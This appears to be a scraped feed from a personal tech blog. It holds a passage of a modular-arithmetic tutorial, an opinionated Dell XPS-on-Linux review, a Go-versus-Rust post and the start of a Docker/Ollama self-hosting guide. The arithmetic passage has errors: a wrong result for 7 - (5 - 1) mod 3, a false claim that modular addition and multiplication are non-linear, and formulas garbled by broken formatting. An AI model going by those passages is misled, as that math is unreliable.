<p>In modular arithmetic, subtraction involves subtracting one number from another and then taking the remainder when divided by the modulus. It's often denoted as <strong>(a - b) mod m</strong>.</p>
<ul>
<li><p>Let's consider an example: <em>(7 - 5) mod  3</em> Here, <em>7 - 5 = 2</em>, and when divided by <em>3</em>, the remainder is <em>2</em>. Therefore, <em>(7 - 5) mod  3 = 2</em>.</p>
</li>
<li><p>Let's delve into a cryptographic example: <em>(9 - 5) ≅ ? (mod  7)</em></p>
<ol>
<li><p>Subtract the second number from the first: <em>9 - 5 = 4</em>.</p>
</li>
<li><p>Take the result modulo the modulus: <em>4 ÷ 7</em> leaves us with a remainder of <em>4</em>.</p>
</li>
<li><p>Thus, <strong>9 - 5 ≅ 4 (mod 7)</strong>.</p>
</li>
</ol>
</li>
</ul>
<h4 id="heading-properties-1">Properties</h4>
<ul>
<li><p><strong>Non-commutativity</strong>: Subtraction in modular arithmetic is not commutative. In other words, the order of subtraction does matter. For instance, <em>7 - 5 ≅ 2 (mod 3)</em>, but <em>5 - 7 ≅ 1 (mod 3)</em>.</p>
</li>
<li><p><strong>Non-associativity</strong>: Similar to non-commutativity, subtraction in modular arithmetic is also non-associative. Grouping matters when subtracting multiple numbers. For example, <em>(7 - 5) - 1 ≅ 1 (mod 3)</em>, but <em>7 - (5 - 1) ≅ 2 (mod 3)</em>.</p>
</li>
<li><p><strong>Closed under Subtraction</strong>: Just like addition, subtraction within a modulus maintains closure. For example:</p>
<ul>
<li><p><em>(7 - 5) mod 3 = 2</em></p>
</li>
<li><p><em>(5 - 7) mod 3 = 1</em></p>
</li>
</ul>
</li>
</ul>
<p>    Both results remain within the range of 0 to 2, which is the modulus 3.</p>
<h4 id="heading-significance-1">Significance</h4>
<ul>
<li><p><strong>Non-linearity</strong>: Modular subtraction, akin to modular addition, is a non-linear operation. This property is crucial in cryptographic schemes to thwart various attacks, similar to its additive counterpart.</p>
</li>
<li><p><strong>Compatibility with Modular Arithmetic</strong>: Subtraction fits seamlessly within modular arithmetic frameworks, making it suitable for cryptographic algorithms where modular arithmetic is prevalent due to its computational efficiency and finite number set operations.</p>
</li>
</ul>
<h3 id="heading-3-modular-multiplication">3. Modular Multiplication</h3>
<p>In modular arithmetic, multiplication involves multiplying two numbers and then taking the remainder when divided by the modulus. It's often denoted as <strong>(a * b) mod m</strong>.</p>
<ul>
<li><p>Let's illustrate with an example: <em>(7 5) mod  3 Here, 7 5 = 35</em>, and when divided by <em>3</em>, the remainder is <em>2</em>. Therefore, <em>(7 \</em> 5) mod  3 = 2*.</p>
</li>
<li><p>Now, let's explore a cryptographic scenario: <em>(5 \</em> 9) ≅ ? (mod  7)*</p>
<ol>
<li><p>Multiply the two numbers: <em>5 \</em> 9 = 45*.</p>
</li>
<li><p>Divide the result by the modulus: <em>45 ÷ 7</em> leaves us with a remainder of <em>3</em>.</p>
</li>
<li><p>Thus, <strong>5 * 9 ≅ 3 (mod 7)</strong>.</p>
</li>
</ol>
</li>
</ul>
<h4 id="heading-properties-2">Properties</h4>
<ul>
<li><p><strong>Commutative Property</strong>: Multiplication in modular arithmetic follows commutativity. The order of multiplication does not affect the result modulo the modulus. For example, <em>a b ≅ b a (mod m)</em>.</p>
</li>
<li><p><strong>Associative Property</strong>: Similarly, multiplication in modular arithmetic is associative. The grouping of numbers being multiplied does not impact the result modulo the modulus. For example, <em>(a b) c ≅ a (b c) (mod m)</em>.</p>
</li>
<li><p><strong>Closed under Multiplication</strong>: Multiplying two numbers within a modulus maintains closure. For instance:</p>
<ul>
<li><p><em>(2 \</em> 3) mod 5 = 1*</p>
</li>
<li><p><em>(4 \</em> 4) mod  5 = 1*</p>
</li>
</ul>
</li>
</ul>
<p>    Both results fall within the range of 0 to 4, which is the modulus 5.</p>
<h4 id="heading-significance-2">Significance</h4>
<ul>
<li><p><strong>Non-linearity</strong>: Similar to modular addition and subtraction, modular multiplication is a non-linear operation. This characteristic is essential in cryptographic algorithms to enhance security against various attacks.</p>
</li>
<li><p><strong>Compatibility with Modular Arithmetic</strong>: Modular multiplication seamlessly integrates with modular arithmetic, which is widely utilized in cryptography due to its computational efficiency and the ability to work with finite sets of numbers.</p>
</li>
</ul>
<h3 id="heading-4-modular-inverse">4. Modular Inverse</h3>
<p>In modular arithmetic, the modular inverse of a number <code>a</code> with respect to a modulus <code>m</code> is another number <code>b</code> such that <em>(a \</em> b) mod m = 1<em>. It's denoted as </em>a⁻¹ (mod m)<em> or </em>1/a (mod m)*.</p>
<ul>
<li><p>Let's illustrate with an example: Find the modular inverse of <em>5 modulo 11</em>. We need to find a number <em>b</em> such that <em>(5 \</em> b) mod 11 = 1*.</p>
<ul>
<li>By trying out various values of <em>b</em>, we find that <em>9</em> is the modular inverse of <em>5 modulo 11</em>, because <em>(5 \</em> 9) mod 11 = 45 mod 11 = 1*.</li>
</ul>
</li>
<li><p>Now, let's explore a cryptographic scenario: Find the modular inverse of <em>7 modulo 13</em>. We seek a number <em>b</em> such that <em>(7 \</em> b) mod 13 = 1*.</p>
<ul>
<li>By testing different values, we discover that <em>2</em> is the modular inverse of <em>7 modulo 13</em>, since <em>(7 \</em> 2) mod 13 = 14 mod 13 = 1*.</li>
</ul>
</li>
</ul>
<h4 id="heading-properties-3">Properties</h4>
<ul>
<li><p><strong>Existence</strong>: The modular inverse exists for a number <code>a</code> modulo <code>m</code> if and only if <code>a</code> and <code>m</code> are coprime (i.e., their greatest common divisor is 1).</p>
</li>
<li><p><strong>Uniqueness</strong>: The modular inverse of a number <code>a</code> modulo <code>m</code> is unique within the range [0, m-1].</p>
</li>
<li><p><strong>Multiplicative Property</strong>: If <code>b</code> is the modular inverse of <code>a</code> modulo <code>m</code>, then the modular inverse of <code>a</code> modulo <code>m</code> is also the modular inverse of <code>b</code> modulo <code>m</code>.</p>
</li>
</ul>
<h4 id="heading-significance-3">Significance</h4>
<ul>
<li><p><strong>Cryptographic Applications</strong>: Modular inverses play a crucial role in cryptographic algorithms, such as <strong>RSA encryption</strong>, where they are used to calculate the private key from the public key.</p>
</li>
<li><p><strong>Efficient Computations</strong>: Modular inverses are essential for various mathematical computations, particularly in modular arithmetic-based algorithms, due to their ability to efficiently compute divisions within a finite field.</p>
</li>
</ul>
<h3 id="heading-5-modular-exponentiation">5. Modular Exponentiation</h3>
<p>In modular arithmetic, modular exponentiation involves raising a base to an exponent and then taking the remainder when divided by a modulus. It's denoted as <strong>(a^b) mod m</strong>.</p>
<ul>
<li><p>Let's illustrate with an example: Find <em>(2 ^ 5) mod 7</em>. Here, <em>2 ^ 5 = 32</em>, and when divided by <em>7</em>, the remainder is <em>4</em>. Therefore, <em>(2 ^ 5) mod 7 = 4</em>.</p>
</li>
<li><p>Now, let's explore a cryptographic scenario: Compute <em>(3 ^ 10) ≅ ? (mod  13)</em>.</p>
<ol>
<li><p>Calculate <em>3 ^ 10</em>: <em>3 ^ 10 = 59049</em>.</p>
</li>
<li><p>Divide the result by the modulus: <em>59049 ÷ 13</em> leaves us with a remainder of <em>3</em>.</p>
</li>
<li><p>Thus, <strong>3 ^ 10 ≅ 3 (mod 13)</strong>.</p>
</li>
</ol>
</li>
</ul>
<h4 id="heading-properties-4">Properties</h4>
<ul>
<li><p><strong>Efficient Computation</strong>: Modular exponentiation can be efficiently computed using algorithms like exponentiation by squaring or the repeated squaring method, particularly useful for large exponents.</p>
</li>
<li><p><strong>Distributive Property</strong>: Modular exponentiation follows distributive over multiplication. That is, <em>(a ^ b \</em> a ^ c) mod m = (a ^ (b + c)) mod m*.</p>
</li>
<li><p><strong>Closed under Exponentiation</strong>: Raising a number to a power within a modulus maintains closure. For example:</p>
<ul>
<li><p><em>(2 ^ 3) mod 5 = 3</em></p>
</li>
<li><p><em>(4 ^ 2) mod  5 = 1</em></p>
</li>
</ul>
</li>
</ul>
<p>    Both results fall within the range of 0 to 4, which is the modulus 5.</p>
<h4 id="heading-significance-4">Significance</h4>
<ul>
<li><p><strong>Cryptographic Protocols</strong>: Modular exponentiation is extensively used in cryptographic protocols, such as <strong>RSA encryption and Diffie-Hellman key exchange</strong>, for secure communication and data encryption.</p>
</li>
<li><p><strong>Efficient Key Generation</strong>: Modular exponentiation plays a crucial role in generating and manipulating <strong>cryptographic keys efficiently</strong>, contributing to the security and scalability of cryptographic systems.</p>
</li>
</ul>
<blockquote>
<h3 id="heading-anyone-from-the-most-clueless-amateur-to-the-best-cryptographer-can-create-an-algorithm-that-he-himself-cant-break">Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break.</h3>
<p>- Bruce Schneier</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Dell XPS for Linux & My Personal Experience]]></title><description><![CDATA[So, let’s talk about the Dell XPS. Yeah, that pocket-denting investment I (okay, my family) made just so I could learn Active Directory. The real story, I trashed my previous laptop (now server) in a ]]></description><link>https://flarexes.com/dell-xps-for-linux-my-personal-experience-review</link><guid isPermaLink="true">https://flarexes.com/dell-xps-for-linux-my-personal-experience-review</guid><category><![CDATA[dell-xps]]></category><category><![CDATA[xps]]></category><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[hyprland]]></category><category><![CDATA[wayland]]></category><category><![CDATA[xps-9510]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Fri, 20 Dec 2024 23:30:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717674477348/dfd1aaed-784f-4b87-8a51-ca1cf517e228.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>So, let’s talk about the Dell XPS. Yeah, that pocket-denting investment I (okay, my family) made just so I could learn Active Directory. The real story, I trashed my previous laptop (now server) in a rainstorm during my internship. Active Directory was the perfect excuse to get my hands on the XPS. And honestly? Worth every penny. Sort of. Kind of. (forget I said that).</p>
<p>In this blog, I'll walk you through a list of cons and a few pros (who cares?) of using the Dell XPS as a daily Linux driver. Yep, Linux.</p>
<p>Linux users, I'll start with the software aspects and then cover the hardware in the second half. And don't expect specs review.</p>
<p>Windows users, you won't regret buying an XPS as long as you're cool with the fact that gaming laptops with the same specs cost half as much. Yeah, you read that right—half. That’s it for you, Windows users.</p>
<p>Mac users? Guys, Just switch to anything that is not Apple. If you’re in tech, consider yourself a tech nerd, or even remotely associate with IT, just make the switch. Trust me on this one (don't, people say he is biased).</p>
<h1>What is Dell XPS?</h1>
<p>Dell XPS is premium series of laptop has been around since 1993. These machines are powerhouses in both performance and looks. Best OLED screen, smooth trackpad, and speakers that will blow your mind. If you consider "Apple MacBook Pro" the best laptop out there, multiply that by ten, and you will get a Dell XPS. ChatGPT calls it "it’s the crème de la crème of laptops" (what?).</p>
<p>$$MacBook \times 10 = Dell \ XPS$$</p>
<p>Alright, Let’s get to the real talk, that was a joke.</p>
<h1>Software: Linux on XPS</h1>
<p>Terrible experience. If you’re new to Linux, consider this a Total Disaster 😄. And it's not just the XPS; any machine with a 4K display will give you a hard time. Tighten your seat belts and brace for the crash (fanboy moments over).</p>
<h3>Speakers won't work</h3>
<p>Haha 🤣 nice start. Linux doesn't seem to have audio drivers for the XPS series. Speakers will sound too low, low enough that won't be able to listen in library noise.</p>
<p>But let’s take a moment to appreciate those XPS speakers. They are too good to be true for a laptop. I tried them out on Windows while downloading an Arch ISO 😄.</p>
<p><strong>Solution:</strong></p>
<p>Linux is powerful. There's a workaround for these pesky audio issues. You can boost those speakers up to 200% or more. I've got mine maxed out at 150% on my system. But don't expect same sound quality (it's bad, but workable).</p>
<p>I've configured my volume controls with keybindings in Hyprland.</p>
<p>Note: On arch full system upgrade can resolve this issue, but the audio quality still doesn't match that of Windows.</p>
<pre><code class="language-bash"># Increase Volume
wpctl set-volume -l 1.5 @DEFAULT_AUDIO_SINK@ 10%+

# Decrease Volume
wpctl set-volume @DEFAULT_AUDIO_SINK@ 10%-
</code></pre>
<h3>Life Savior: GNOME and KDE Desktop Environments</h3>
<p>If you’re rolling with desktop environments like GNOME or KDE, you’re in the clear for the most part. Of course, the speakers will still be funky, but nothing too major.<br />So, if you’re rocking a mainstream Linux distro like Ubuntu, Fedora, or Manjaro, you’re in the clear because these distribution ships with GNOME or KDE right out of the box. That means the majority of Linux users are cruising just fine, except "I use Arch by the way" pros and bros, of course.</p>
<p>But problems become exponential if you’re dabbling in XFCE, Mate, or dare I say it, window managers like DWM, BSPWM, or Openbox. But before we dive into those problems let’s first understand why these issues exist in the first place for our pros and bros.</p>
<h2>The Root Cause: Why Do We Face These Issues?</h2>
<p>These issues are not exclusive to Dell XPS. Every Linux machine rocking a 4K display is in the same boat. Linux’s widely adopted display server is Xorg, an X11 protocol implementation. But X11 was never designed to work with 4K displays.</p>
<p>To redeem X11 problems (4k display &amp; security issues) a new protocol was introduced <strong>Wayland</strong> in 2008. <strong>Wayland</strong> is considered to be the future of Linux's display server and I agree with the statement. But not everything is sunshine and rainbows with Wayland either. It has got its fair share of issues, namely lack of widespread adoption.</p>
<p>Curious about the security side of things? Check out my LinkedIn post about the X11 vulnerability and <a href="https://www.linkedin.com/posts/flarexes_linux-linuxsecurity-security-activity-7109527777854259204-NFwS"><em>Why Most Linux Distributions Are Insecure?</em></a></p>
<h3>Wayland: The Hidden Gem</h3>
<p>"Wayland is not ready!", that's what you will hear from few seasoned Linux users. I don't agree with this statement completely. Wayland is a game-changer. It has tackled problems that Xorg could only dream of solving. Thanks to Wayland, Linux now supports 4K displays without inherent security vulnerabilities etc.</p>
<p>But, That's doesn't mean it's ready for new Linux users, it's not. Here’s the deal: Any software built on Electron is going to look teared on Wayland, including Chrome, Brave, Discord, VSCode. And don’t even get me started on JetBrains IDE or alike Java applications because many applications are not supported by wayland.</p>
<p>Btw, many Electron-based apps can be run nicely with Wayland. Just run them with <code>--enable-features=UseOzonePlatform --ozone-platform=wayland</code> at the end of your launch command. But, Applications are not based on electron and doesn't support wayland will still look teared.</p>
<h3>Why Only GNOME &amp; KDE Works?</h3>
<p>GNOME and KDE are massive projects in Linux community with rapid development cycles. Ever wondered why GNOME and KDE seem to have all the answers? Because if you rocking them, you won't face many issues that we are going to discuss later in this blog post.</p>
<p>Here’s the secret sauce: GNOME and KDE use hybrid approach. They seamlessly blend Wayland and X11 to give you the best of both worlds. So, if you’re rocking a 4K display, Wayland takes the wheel. But if an app isn’t ready for the Wayland it will fallback to X11 implementation. This hybrid project is called <a href="https://wayland.freedesktop.org/xserver.html"><em>Xwayland</em></a>, a X Clients under Wayland.</p>
<div>
<div>💡</div>
<div>If you don't use GNOME or KDE and you have 4k display, You will have to switch to Wayland. There is no way around.</div>
</div>

<h2>Wayland on Dell XPS (4K Display)</h2>
<h3>Screen Sharing: Nightmare</h3>
<p>Screen sharing works on wayland. But you may find yourself attempting to share your screen multiple times. Sometimes it sticks in one go, sometimes it doesn’t.</p>
<p>Estimated Try &amp; Hits: 1-10</p>
<h3>Mic Won't Work - Sometimes</h3>
<p>I'm not sure about this one. I’m currently rocking Arch, and everything seems fine. But I had issues initially or maybe it was just a glitch. I haven’t stumbled upon much complaints about XPS mics on internet. So, It's safe to assume they work fine. Do your due diligence to be sure.</p>
<h3>Global Keybinding Won't Work</h3>
<p>Global keybinding won't work. What does that mean? This means that applications running in the background cannot respond to your shortcuts unless they are in focus. For example, you cannot start or stop screen recording in OBS-Studio via keybinds unless OBS-Studio is the active window. Similarly, if you press <code>ALT + SHIFT + T</code> to open a to-do app, it won't work unless it's focused.</p>
<p>However, shortcuts within individual applications like VSCode would work perfectly fine. This limitation is caused by Wayland's security features, which isolates each window from the others to protect your system from keylogging and screen capture assaults.</p>
<p>Same example explained here: <a href="https://www.linkedin.com/posts/flarexes_linux-linuxsecurity-security-activity-7109527777854259204-NFwS"><em>Why Most Linux Distributions Are Insecure?</em></a></p>
<p><strong>Key Takeaway:</strong> Only global keybindings are affected; application-specific shortcuts are still fully functioning.</p>
<h3>Your Scripts May Not Work</h3>
<p>If your scripts relies on X11 utilities, you'll need to rewrite them for Wayland compatibility. Thankfully, many alternatives to X11 utilities are available for Wayland that make the switch easy, like:</p>
<table>
<thead>
<tr>
<th>S.No.</th>
<th>X11</th>
<th>Wayland</th>
</tr>
</thead>
<tbody><tr>
<td>1.</td>
<td>xclip</td>
<td>wl-copy, wl-paste</td>
</tr>
<tr>
<td>2.</td>
<td>rofi</td>
<td>rofi-wayland</td>
</tr>
<tr>
<td>3.</td>
<td>xdotool</td>
<td>wtype</td>
</tr>
</tbody></table>
<h3>Chrome Browsers &amp; Other Applications</h3>
<p>Electron-based applications work fine on Wayland, and so do Chrome-based browsers, but there's a catch—they take about 2 minutes to start. Yes, you read that right! This is why I always recommend Firefox-based browsers. While Chrome browsers may run with slight display tearing (not that terrible).</p>
<p>Some applications, however, simply won’t work on Wayland, even with display tearing. The solution is to install a desktop environment alongside your window manager. Or you can try heavy configuration headache to make them work 😕.</p>
<ul>
<li><a href="https://flarexes.com/brave-vs-librewolf-privacy-and-security-without-conditions"><em>Brave vs LibreWolf : Privacy and Security Without Conditions 🔏</em></a></li>
</ul>
<h3>Fingerprint Senor Works Fine</h3>
<p>Yaa! Finally, something that works! Believe it or not, having a fingerprint sensor that works on Linux is a big deal. Just like audio drivers, there aren't many systems out there that support fingerprint unlocking on Linux. But guess what? Dell XPS nails it! So, feel free to enjoy the smooth fingerprint unlocking.</p>
<div>
<div>💡</div>
<div>Configuring the fingerprint sensor in Desktop Environments (DE) is way easier than in Window Managers (WM).</div>
</div>

<h1>Let's Talk About Hardware</h1>
<p>First things first, I won't bore you with the XPS specs like CPU, GPU, or RAM because, honestly, they vary. And who has the time for that? This section is gonna be short and sweet. Remember, I'm a software person, not the hardware one.</p>
<h3>Speakers: Bad Location</h3>
<p>Dell XPS speakers are located on top of the chassis near the keyboard. Not on the sides, not on the back, but right on top. It may seem cool at first, but eventually it turns into a dust magnet. You'll be cleaning them more often than you'd like. I have to say, this might be the best place for better audio quality, but on Linux, we don't have much of a choice in the matter.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717674963146/a404db52-9cad-4815-8b6b-dad0e7ad84c9.avif" alt="" style="display:block;margin:0 auto" />

<h3>Keyboard: Too Spread Out</h3>
<p>Everyone seems to love the XPS keyboards, but after trying out dozens of laptop keyboards, I have to say, this one feels weird. The keyboard is just too spread out. It’s great quality top-notch, but still feels off for some weird reason. It took me days to get the hang of it, whereas normally it only takes hours to adjust.</p>
<p>The internet loves to compare XPS keyboards to MacBook’s, claiming they’re equally good. Quality-wise, there’s hardly any difference, but I have to admit (I don't wanna say this 🤢) - the MacBook keyboard feels much better while typing.</p>
<h3>Screen: Best OLED 4K</h3>
<p>Did I mention that XPS has an amazing 4K OLED screen? Sure, it caused a lot of headaches in the software section, but come on, you’ve got to appreciate that stunning display. And let’s face it, eventually, we’re all gonna have to switch to Wayland anyway.</p>
<p>Speaking of the screen, have you noticed those bezels in cover image? They’re so tiny you might miss the camera if you’re not looking closely. Dell really nailed the design here.</p>
<h3>Touchpad: Important Read This</h3>
<p>Alright, gather round, folks. We need to have a serious chat about the touchpad situation on the Dell XPS. XPS had got this chronic issue of broken touchpads. Dell doesn't seem to take proper action on this. Maybe it's a design flaw, who knows? If you’ve got a busted piece, get it replaced. 'Cause you have withdrawn some serious cash for this machine.</p>
<p>Mine is broken too. is? The right click works, but it feels wonky compared to the left click. Did I bother to get it replaced? Nah, too lazy for that. I mean, if I can run an entire operating system full of errors, I can handle a dodgy touchpad, right? Arch user, by the way! 🤣</p>
<p>But seriously, you better get it replaced.</p>
<p><strong>let's talk about touchpad feel.</strong><br />Slipping on ice it's that smooth. But It gets patches for no good reason—again, design flaw, anyone?</p>
<p><strong>Do you want a compression with Mac?</strong><br />Here we go then, Feels better then MacBooks, it's too soft. But MacBook has better clicking mechanism. By the way, I don't understand after paying so much why dell doesn't use macbook's like motor clicking mechanism? anyway who even bothers clicking on a touchpad these days? (MacBook users 🤣).</p>
<h3>Charger &amp; Charging: Not Impressive</h3>
<p>I don't like the charger built because of one reason spotted in the screenshot below. One wrong move and poof - charger is no more. And charging is slow it takes solid two hours to get fully charged. The battery lasts for 6-7 hours while programming without GPU usage.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717675291095/767e1438-686c-4a70-8c8c-5dfb37257c81.png" alt="" style="display:block;margin:0 auto" />

<h3>USB Ports: Okayish</h3>
<p>The Dell XPS 15 rolls in with four ports. Three USB Type-C ports and one useless SD Card slot. But hey, Dell is not Apple. They ship an external adapter which has a HDMI and a USB slot.</p>
<h3>One Hand Opening: Can't Do That</h3>
<p>Have you seen people bragging about opening their laptop lid with one hand or finger? Ya! that's thing in non-tech people (few tech once too). But you can't do that in XPS. Despite its solid build, the design doesn't leave enough space to allow for easy one-finger or one-hand opening. So, You gotta use both hands.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717675331549/19c05214-d270-4235-8e6f-1bfffd2a3350.gif" alt="" style="display:block;margin:0 auto" />

<h3>Carbon Fiber: Don't Finger That</h3>
<p>Dell XPS is equipped with Carbon Fiber which people really seems to care about but I don't. Carbon fiber make XPS lightweight. I won't necessary call it lightweight machine. And this carbon fiber is externally coated with a rubber-thingy plastic material. Don't touch that, finger that or nail that otherwise it'll peel off and trust me, you don't want that. Why? It won't look good, I know it and I'm telling you. Just jussst keep your hands off from it. OKAY OKAYYY.</p>
<p>Of course, If you're an Arch user, chances are you have more important things to worry about than that stupid, non-sense carbon fiber coating.</p>
<h1>Personal Experience</h1>
<p>So, do I regret buying the Dell XPS? Surprisingly, <strong>NO</strong>. This blog post is plotted around challenges that a Linux users may face with high-end machines sporting a 4K display like the XPS. However, what you may not realize is that there's no real competition for the Dell XPS in the market. It’s a powerful, jam-packed machine.</p>
<p>Sure, I had my doubts at first. I mean, who wouldn’t? Suddenly, my favorite Linux OS Archcraft and it's themes were out of the picture, and I was thrown into uncharted territory. But you know what? Sometimes, it’s those unexpected twists that lead us to the greatest discoveries. And let me tell you, this journey with the Dell XPS? It’s been one wild ride, marking the third J curve in my Linux journey (first was switching to Linux, second was switching to window manager). Who knew a laptop could shake things up so much?</p>
<h4>Hyprland: The J Curve</h4>
<p>By now I had two things crystal clear in my mind. One, I have to switch to Wayland. And two, No way I'm turning back to cozy desktop environments like Gnome. Nah, not my style. I was a BSPWM kind of person, craving that minimalist vibe. And then came Hyprland — a Wayland compositor. With its flashy animations and user-friendly documentation, Hyprland had me sold. Looking on the bright side: if it wasn’t for the XPS, I probably wouldn’t have taken the plunge into Wayland, the future of Linux. And you know what? Everything's running smoother than ever now.</p>
<h1>Conclusion</h1>
<p>So, here’s the deal with the Dell XPS—it is is a powerful laptop, there are difficulties when using Linux on it. With Wayland, the desktop environments of GNOME and KDE provide improved compatibility through a hybrid method. Projects like Hyprland and Sway are also working to bring that experience with a pure wayland implementation in windows managers.</p>
<p>Overall, once you get the hang of it on Linux, there’s no turning back. I mean, after this bad boy, I haven’t spared a second thought on resources management. And if you want a setup guide for Hyprland than let me know.</p>
<p>I hope you found this helpful. Thanks for sticking around!</p>
]]></content:encoded></item><item><title><![CDATA[Why I'm Learning Go and Not Rust?]]></title><description><![CDATA[For years, Python has been my go-to programming language. I used it for Web Development, Cryptography, Data Science, and AI/ML (Before ChatGPT, okay). Python also gave me an edge in the hacking world, since it's widely used for developing tools and e...]]></description><link>https://flarexes.com/why-im-learning-go-and-not-rust</link><guid isPermaLink="true">https://flarexes.com/why-im-learning-go-and-not-rust</guid><category><![CDATA[Go Language]]></category><category><![CDATA[Rust]]></category><category><![CDATA[Python]]></category><category><![CDATA[learning]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Tue, 12 Nov 2024 03:39:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1731382638919/715d31fd-48d4-4694-9b1d-ae7e5741461e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>For years, Python has been my go-to programming language. I used it for Web Development, Cryptography, Data Science, and AI/ML (Before ChatGPT, okay). Python also gave me an edge in the hacking world, since it's widely used for developing tools and exploits.</p>
<p>However, Python has few limitations. For one, you need an interpreter to execute Python code. This becomes an issue during vulnerability assessments, since most target machines don’t have Python preinstalled. To work around this, I often switch to compiled or platform-specific languages like C or PowerShell.</p>
<p>Another issue is that it’s not easy to ship closed-source code in Python 👀. Ya! I'm a big proponent of open-source, but sometimes you need to work with closed-source applications as a software engineer. So, I can't just ignore that.</p>
<p>Lastly, Python can be slow—the same old argument, but it’s still true to some degree. It hasn’t bothered me much because I wasn’t working on projects that required extreme speed. Python has some optimizations (like using C extensions) that make it fast enough for most tasks, especially in AI/ML. So, for me, this is the least problematic of the issues.</p>
<p>I needed a language that’s compiled and fast—Golang and Rust both fit these requirements. Then why Go?</p>
<p>Here’s why:</p>
<ol>
<li><p>Python’s limitations are clear, but when it comes to development, the sky’s the limit. As I mentioned, I usually work with network-based applications, so I don’t need to get into low-level stuff like kernel modules, which Rust is better suited for.</p>
</li>
<li><p>Go is cross-compilable, which is a huge advantage for penetration testing across multiple platforms. I can write closed-source tools more easily, and it's fast. Go is also widely adopted in cybersecurity, especially in cloud.</p>
</li>
</ol>
<p>Rust has these same benefits, except for cloud computing. But Rust has a steep learning curve and lacks a smooth development experience. For me, the ability to quickly write prototypes is crucial. If I can’t rapidly translate ideas into code, my productivity takes a hit.</p>
<ol start="3">
<li><p>Maintenance is another factor. No language is as easy to maintain as Python, but Rust makes things more complicated with its unique features. Go, on the other hand, is much simpler when it comes to maintenance and keeps development smooth.</p>
</li>
<li><p>Speaking of speed, when I’m dealing with tasks like bulk file uploads, the speed difference between Go and Rust is usually negligible. Network bandwidth will always be the higher bottleneck, than the speed of execution in the code itself.</p>
</li>
<li><p>Concurrency in Go is another key factor. Go’s implementation for handling async operations is far better than Python’s. In Python, threading and multiprocessing still feel like workarounds. In Go, the concurrency model is built into the language and feels much more natural and efficient.</p>
</li>
</ol>
<p>So, why GoLang and not Rust?</p>
<p>Because I need a compiled language that can run without the need for an interpreter or compiler dependency. I want to easily develop closed-source tools, with a language that is fast enough and doesn’t require excessive development time. Go is also widely adopted, like Python, and is well-suited for tasks like Web/API Development and Cryptography.</p>
<p>In short, Go strikes the right balance for my needs, while Rust, though powerful, feels less practical for my day-to-day development.</p>
]]></content:encoded></item><item><title><![CDATA[Why Docker is the Best Tool I've Ever Learned?]]></title><description><![CDATA[If you were to ask me, "What are the five most important technologies I've learned in the last five years?" then Docker is definitely one of them. Docker is one of those toolkits that make things limi]]></description><link>https://flarexes.com/leveraging-docker-for-aiml-llms-self-hosting-cloud-storage-and-beyond</link><guid isPermaLink="true">https://flarexes.com/leveraging-docker-for-aiml-llms-self-hosting-cloud-storage-and-beyond</guid><category><![CDATA[Docker]]></category><category><![CDATA[AI]]></category><category><![CDATA[self-hosted]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[containers]]></category><category><![CDATA[llm]]></category><category><![CDATA[networking]]></category><dc:creator><![CDATA[FlareXes]]></dc:creator><pubDate>Sun, 05 May 2024 04:23:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714881235484/3f0fe374-823d-478c-9919-249bd50f528b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you were to ask me, "What are the five most important technologies I've learned in the last five years?" then Docker is definitely one of them. Docker is one of those toolkits that make things limitless; I can do whatever I want, just like Thanos did with one snap. I'm not exaggerating. I don't know why I didn't cover about this before.</p>
<p>Today, I won't delve into how organizations utilize Docker for all their needs. Instead, I'll demonstrate how you, as an individual, can leverage Docker for a multitude of purposes.</p>
<h2>Prerequisites</h2>
<ol>
<li><p>Basic understanding of Docker</p>
</li>
<li><p>Active Docker instance</p>
</li>
</ol>
<h2>The Realm of Self-Hosting</h2>
<p>Self-hosting is a wild ride. Here, you must decide what you want to self-host and why. Do you desire an offline ChatGPT or a reverse proxy to manage your traffic? It has plenty of that and of course we are going to discuss some of them today. Self-hosting involves running services on your infrastructure instead of relying on external providers. This grants you control over data and privacy, brings cost savings, and crucially, enhances your skill set.</p>
<h3>Where to find self-hosting alternatives</h3>
<ol>
<li><p>Explore <a href="https://github.com/awesome-selfhosted/awesome-selfhosted">Awesome-Selfhosted</a> GitHub Repository, Their are plenty of options.</p>
</li>
<li><p>Check if the products you use offer Docker images for self-hosting.</p>
</li>
<li><p>Try searching with the term "Self-host &lt;product name&gt;" for more options.</p>
</li>
</ol>
<h2>Ollama: Self-Hosting LLMs like ChatGPT</h2>
<p>Ollama is a streamlined tool designed for running LLMs (Large Language Models) locally. Ollama offers a wide range of models, including <strong>Mixtral</strong>, <strong>Llama-3</strong>, <strong>CodeLlama</strong>, and more. Getting started with Ollama is straightforward.</p>
<h4>Step 1: Pull ollama docker images and start the container</h4>
<pre><code class="language-bash">docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama
</code></pre>
<h4>Step 2: Run any model ollama support like llama2</h4>
<pre><code class="language-bash">docker exec -it ollama ollama run llama2
</code></pre>
<p>Try different models at <a href="https://ollama.com/library">Ollama library</a>.</p>
<h3>GPU Support</h3>
<p>If you have an Nvidia graphics card, you can leverage GPU processing power within Docker containers. This is particularly beneficial for tasks requiring intensive computation, such as hosting a Large Language Model (LLM). I recommend following the official Nvidia guide for adding GPU support, as the steps may vary over time. Check out the <a href="https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/install-guide.html">NVIDIA Container Toolkit Installation</a> guide for detailed instructions.</p>
<ul>
<li><p><strong>Start the container with GPU using</strong> <code>--gpus=all</code></p>
<pre><code class="language-bash">docker run -d --gpus=all -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama
</code></pre>
</li>
</ul>
